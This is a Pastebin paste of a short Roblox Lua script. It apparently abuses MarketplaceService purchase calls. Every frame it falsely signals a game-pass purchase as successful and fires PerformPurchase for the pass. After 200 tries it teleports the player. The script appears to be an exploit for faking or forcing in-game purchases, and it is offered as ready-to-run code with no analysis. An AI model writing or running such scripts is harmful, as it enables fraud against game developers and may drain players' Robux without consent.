SHARE
TWEET

Untitled

a guest Aug 17th, 2019 82 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. local tries = 0
  2. local gamePassId = 1180304337
  3. local market = game:GetService("MarketplaceService")
  4. local http = game:GetService("HttpService")
  5. local info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
  6. spawn(function()
  7. while true do
  8. wait()
  9. if tries >= 200 then
  10. game:GetService('TeleportService'):Teleport(game.PlaceId)
  11. end
  12. end
  13. end)
  14.  
  15. game:GetService("RunService").Stepped:connect(function()
  16.    tries = tries+1
  17.   market:SignalPromptGamePassPurchaseFinished(game:GetService("Players").LocalPlayer, gamePassId, true)
  18.   market:PerformPurchase(Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
  19. end)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top